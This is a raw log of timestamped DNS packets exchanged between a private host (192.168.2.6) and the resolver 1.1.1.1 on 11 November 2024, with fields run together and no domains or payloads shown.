                                                                                                                                                                                                          Nov 11, 2024 18:13:21.752296925 CET5956353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.752521992 CET5972353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.752737999 CET53626881.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.752902985 CET5027653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.756337881 CET53544231.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.756525993 CET53560661.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.756540060 CET53652121.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.757477045 CET53585271.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.757631063 CET53572271.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.758681059 CET53569371.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.759282112 CET53597231.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.759999037 CET53553481.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.760024071 CET53540741.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.760956049 CET53567201.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.763142109 CET53595631.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.764559031 CET53502761.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.767045021 CET53614141.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.770196915 CET53639281.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.772232056 CET53566341.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.778534889 CET5736853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.778919935 CET5996853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.780869961 CET53575501.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.782037973 CET53585761.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.790100098 CET53599681.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.801300049 CET6058853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.809848070 CET53605881.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.809864998 CET53573681.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.832101107 CET4936153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:21.842200041 CET53493611.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.433587074 CET5468553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.435877085 CET5420953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.436326981 CET6263953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.436570883 CET6210253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.444658041 CET53546851.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.447108030 CET53626391.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.450772047 CET5685753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.457640886 CET5184353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.460479975 CET53568571.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.465400934 CET6308353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.468046904 CET53542091.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.468614101 CET53621021.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.468794107 CET5121353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.468982935 CET6342453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.475627899 CET53630831.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.479010105 CET53512131.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.480027914 CET53634241.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.489236116 CET53518431.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.494199991 CET5103853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.494453907 CET5329653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.500756025 CET5587353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.501085997 CET6549653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.502243042 CET5583353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.502454042 CET5178453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.502543926 CET6437353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.502717018 CET6160153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.502875090 CET6323353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.503802061 CET5030153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.504542112 CET6162653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.504832029 CET53532961.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.506608009 CET6396853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.506881952 CET6412153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.508018970 CET5681053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.508513927 CET5046853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.510704041 CET53654961.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.511251926 CET53558731.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.511255026 CET5909053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.511492968 CET5581453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.511934996 CET53517841.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.512387037 CET53558331.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.512397051 CET53510381.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.513252974 CET53503011.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.513776064 CET53632331.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.517651081 CET53568101.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.519325972 CET53504681.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.521266937 CET53590901.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.521430969 CET53558141.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.527525902 CET53641211.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.529447079 CET5016353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.530822039 CET5721453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.531542063 CET6454253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.531739950 CET6523953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.532213926 CET6460353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.532491922 CET5597853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.532759905 CET5445053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.532938957 CET5041653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.533329964 CET6173653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.533894062 CET53643731.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.533952951 CET53616011.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.535325050 CET6046253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.536997080 CET53616261.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.537573099 CET53639681.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.540813923 CET53652391.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.541431904 CET6061353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.541654110 CET5529353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.541842937 CET5812153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.541982889 CET53572141.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.542002916 CET5430853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.542151928 CET5212653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.542494059 CET53645421.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.542531013 CET5307053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.542558908 CET53544501.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.542678118 CET5629053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.542809963 CET5363453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.543843031 CET6514853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.543934107 CET5262553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.544044971 CET6011853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.544159889 CET6160653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.544332027 CET5489253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.544497013 CET5480753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.544527054 CET5564553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.544779062 CET5501953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.545032978 CET5017453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.545213938 CET6226153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.545368910 CET6119053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.545531034 CET53604621.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.545547009 CET5067053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.545830011 CET5702853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.546058893 CET5628153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.546344042 CET6179253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.548073053 CET6470153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.550561905 CET53581211.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.551043987 CET53552931.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.551783085 CET53526251.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.551811934 CET53521261.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.551821947 CET53562901.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.552357912 CET53543081.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.552921057 CET53530701.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.553788900 CET53651481.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.553800106 CET53536341.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.554068089 CET53556451.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.554419994 CET53616061.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.554514885 CET53548921.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.554913044 CET53611901.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.555010080 CET53622611.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.555126905 CET53550191.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.555639029 CET53506701.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.556025982 CET53548071.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.556221962 CET53617921.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.557035923 CET53501741.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.557390928 CET53570281.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.557707071 CET53647011.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.561007977 CET53501631.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.562462091 CET6203253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.563862085 CET53646031.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.563996077 CET53559781.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.565192938 CET53617361.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.571997881 CET53606131.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.572665930 CET53620321.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.575990915 CET53601181.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.578619003 CET53562811.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.581590891 CET6028953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.586623907 CET5463353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.586875916 CET5573353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.591330051 CET53602891.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.596040964 CET53557331.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.596061945 CET53546331.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.727392912 CET53504161.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.331721067 CET5367453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.334357023 CET6028553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.335275888 CET5462553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.335540056 CET5926753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.337018967 CET5716253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.344611883 CET53602851.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.345980883 CET6250753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.347166061 CET53571621.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.347470045 CET53592671.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.352008104 CET5975353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.355875969 CET53546251.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.356985092 CET5595053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.357126951 CET5508353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.357640982 CET6226753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.362227917 CET53597531.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.365264893 CET53536741.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.367163897 CET5864853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.367264986 CET53550831.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.368726015 CET6334953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.368843079 CET5760853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.375878096 CET5878453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.376265049 CET5508953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.376566887 CET53559501.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.377367020 CET53625071.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.378181934 CET53586481.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.380959988 CET53576081.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.384516954 CET5303753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.387126923 CET53633491.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.389705896 CET5595253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.389961004 CET53622671.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.394072056 CET53587841.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.398964882 CET5400253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.400415897 CET5377853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.400742054 CET5024153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.400760889 CET53559521.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.400926113 CET5024553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.401094913 CET5818353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.406253099 CET6341853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.406253099 CET5460353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.406503916 CET5821053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.406653881 CET6521853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.406697989 CET5667053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.406723022 CET6016853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.406904936 CET5613253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.408274889 CET53550891.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.411210060 CET53502411.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.411233902 CET53537781.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.414000988 CET53540021.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.416166067 CET53530371.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.416234970 CET53546031.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.417365074 CET53582101.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.417437077 CET53634181.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.417833090 CET53601681.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.425992966 CET53561321.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.432012081 CET53502451.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.433995008 CET53581831.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.438604116 CET53652181.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.438865900 CET53566701.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.459834099 CET6253053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.461818933 CET6230053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.462519884 CET5691353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.462861061 CET5459453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.463093996 CET6486753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.463407040 CET5968053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.465440989 CET5922253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.471910954 CET53625301.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.475605011 CET53596801.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.475704908 CET53545941.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.479721069 CET6246553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.480014086 CET6180853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.480221987 CET6204353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.480267048 CET5707253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.480458975 CET6151553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.480643988 CET5117853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.480643988 CET4962753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.480664968 CET5512253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.480874062 CET5813853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.480874062 CET6247253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.481028080 CET5412453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.481081963 CET5683653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.481209040 CET6454153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.481273890 CET5255053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.481410980 CET6286253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.481456995 CET6219553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.481594086 CET5232853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.481681108 CET5849153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.481762886 CET5305053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.485035896 CET5300953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.487504959 CET5425153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.487771034 CET5853553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.487945080 CET6505153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.489305973 CET5325853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.489553928 CET53618081.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.489953995 CET53570721.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.490190029 CET5519153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.490494013 CET53615151.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.490791082 CET53511781.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.490803957 CET53581381.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.491113901 CET4926153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.491192102 CET53551221.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.491468906 CET53624721.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.491482019 CET53541241.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.491494894 CET53645411.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.491513014 CET53584911.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.491759062 CET53525501.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.491934061 CET53628621.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.492178917 CET53530501.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.492417097 CET5931953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.492417097 CET6116853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.492511988 CET53568361.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.492677927 CET53623001.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.492808104 CET53523281.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.493463993 CET53569131.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.494076967 CET53530091.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.494908094 CET53650511.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.495903015 CET53648671.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.497052908 CET53585351.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.497939110 CET53592221.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.498958111 CET53620431.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.501844883 CET53492611.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.502300978 CET53593191.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.503083944 CET53611681.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.510977983 CET53624651.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.511764050 CET53496271.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.513237000 CET53621951.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.520126104 CET53542511.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.521851063 CET53532581.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.521862984 CET53551911.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.602587938 CET53601081.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.993072987 CET6042753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.995398998 CET5536453192.168.2.61.1.1.1
